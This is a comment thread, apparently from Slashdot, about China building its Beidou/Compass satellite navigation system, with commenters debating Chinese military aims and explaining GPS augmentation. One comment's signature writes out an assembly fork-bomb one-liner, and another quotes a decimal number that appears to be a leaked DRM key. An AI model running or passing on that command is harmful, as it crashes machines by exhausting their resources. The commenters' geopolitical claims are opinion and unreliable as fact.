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China to Deploy Secure GPS by 2010
hackingbear writes "Unsatisfied by the reliance on American GPS navigation systems and not feeling much security joining the European Galileo system, China will expand its 4-satellite Beidou navigation system to a full-fledged, competitive, and encrypted system by 2010."
Great, now they can spread peace and harmony more precisely, +/- 1m.
Quite obviously this is because in times of war, the Chinese could find themselves locked out of either the US or EU systems. If they are going to tightly integrate GPS capabilites into military units - a no brainer - they want to have a closed system that noone can pull the plug on come WW3.
As my philsophical opponents say so often "This is'nt rocket science".
Look carefully at their network. If this was for policing, then the original 4 geo-sats would cover it. But they are building out a full 30+ system. It is not just GPS, but military communications. This is most likely not going to be used for policing, but truly for military use. And that is the problem. China is gearing up militarily. Just in the last several years, they have been launching new attack subs and SSBNs at a rate of at least 1 / per year each. We have spoken about China's shoot down of their weather sats (which is different than our shooting down a crippled sat that was coming down). We have spoken about their using a ground based laser on a US sat. China is now gearing up faster in the military front faster than anybody has over the last 100 years. That includes Hitler's build up in 1934-46, and FDR's 2 year build-up. Add to that the amount of spying going on as well as China's trying hard to hide budgets.
What we are looking at is that China is getting ready to attack, not defend.
Russia and India are now cooperating closer than ever, even while India is pulling closer to UK and America. They are getting worried about China's intention. I suspect that Russia will realize soon exactly why America is pushing their anti missle system. It is not about Iran, or even Russia.
No way around it, too much military equipment needs this these days. No one in China doubts that the USA would shut them out of the GPS at the slightest confrontation and the EU is a weakling and would crawl under American pressure. Unfortunatly that will mean that soon India will need it's own system as well since they also don't trust the USA very much. (USA has been funding pakistan through all the wars they had)
GPS is one way communication, it does not send anything back to the satellites. To do so would require either a very powerful transmitter on the ground device (say goodbye to GPS in your mobile and other handheld battery powered devices), or a very sensitive receiver on the satellite with the signal processing power to differentiate the weak signals of millions of devices from each other and from the general radio noise coming from earth.
WAAS - wide area augmentation system begain deploying a few years back. It has 25 ground sations in the US that recieve the signal and then send corrected signals back up to the satellite.
The next one, is called LAAS, local area augmentations system, like the WAAS but much more local. It is designed specifically for aviation and is only good in a 20 mile proximity to the airport. It's supposed to be a cheaper replacement for ILS systems.
Take a look on wikipedia under WAAS GPS & LAAS GPS there are some pretty decent articles on them.
I know how PGP works down to the algorithmic level, yet I can't break into somebody else's PGP-secured data.
I was about to say 13256278887989457651018865901401704640, but it appears this number is private property.
Lack of ability on your part does not mean lack of ability for others.
I prefer the "u" in honour as it seems to be missing these days.
Actually I found an interesting article on this. The French invented a trick to make sure that the US would be unable to jam Galileo in a warzone. US allies like the UK and the Eastern Europeans forced them to not do this and so the Chinese decided to make their own fork.
http://www.thespacereview.com/article/643/1 According to an article in last week's Space News, the Europeans and the US are disturbed by China's planned Compass military satellite navigation system. The Chinese are going to try to do to both America's GPS 3 and Europe's Galileo systems what the Europeans, under French leadership, tried to do to the US. Europe originally planned to neutralize the military advantage of the US system by putting their signal on a frequency so close to the US M-code one that any attempt to jam their signal would interfere with the US system's operation: a neat trick that was aimed at giving France a de facto veto over all US military operations. The rest of Europe didn't care to follow France into a conflict of this kind with the US so they forced France to swallow an agreement on this (See "Whatâ(TM)s the frequency, Jacques?", The Space Review, March 1, 2004)
China's existing Beidou navigation network is a clumsy system based on three satellites, (two operational and one reserve) in geosynchronous orbit, launched between 2000 and 2003. Its military uses have been limited, but it is suspected that they include providing guidance for the ICBMs China has aimed at US targets. Above all, this system has given China hands-on operational experience with satellite navigation hardware. Combined with the sophisticated science and engineering data they have been able to obtain from Europe, they are now in a position to begin work on their own military satellite navigation system. Australia, the US, Japan, and India can thank the good folks at ESA and the EU for the subsequent increased instabilityâ"or worseâ"in the region. Kind of scary isn't it that China is spending billions building something which is only useful if they fight a major war with the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
How can you expect anybody to cite the lack of published specs?
Unless of course its in the Big Book of Unpublished Specifications, which causes any reader to disappear in a puff of paradoxical smoke.
Ugh. How is this insightful?
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China threat theory is sooooo out of favor among people who know their stuff that it boggles my mind how the rest of the world (except for US army leadership of course, who just want more toys to play with) keeps nagging on about it
'Heping jueqi' is the 21st century mantra for the chinese. They don't want to fight any serious wars, and aren't going to be able to project global power in any serious way for quite a long time.
China is a great power in name only, they are not willing and capable of acting like a great power yet. They're still on the edge of the world system in a lot of ways. What they want right now is to be accepted into it, and if anything, the west should accomodate them. You might want to read John Ikenberry's extremely insightful essay in Foreign Affairs of Jan08.
Also, they walk a razors edge in their national politics, balancing economic freedom and political dictatorship. Nobody can expect them to 'go western' all of a sudden. It'd destroy their nation as a unit. All our complaints about human rights violations, morally right as they may be, are trumped by their national survival. China is preoccupied by raising its living standard right now. Deng Xiaoping got something very right when he allowed for just economical freedom, but also gave China a huge national problem.
All this crap about 'china's growing military' pails when compared to current US power. China is not 'getting ready to attack'. China is getting ready to be able to protect her trade-lanes in the east/south china sea. That may scare americans, who have regarded that little pond as their own back yard for a century, but it's only natural for a rapidly growing nation. Yes, China is indeed growing its army, but that does not mean they're pumping liquid oxygen into their DF-5 ICBM's just yet. Misinterpreting the goals of a rising power is the surest formula to kick off a war. As a Rising power, China is risk-averse and, for all intents and purposes, seems to have limited revisionist aims.
The biggest threat of war with China comes from self-fulfilling prophecies about war.